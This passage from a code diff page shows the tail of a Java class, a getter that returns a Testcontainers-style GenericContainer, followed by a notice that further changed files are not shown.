protected GenericContainer<?> getContainer() {
return container;
}
}

Some files were not shown because too many files have changed in this diff Show More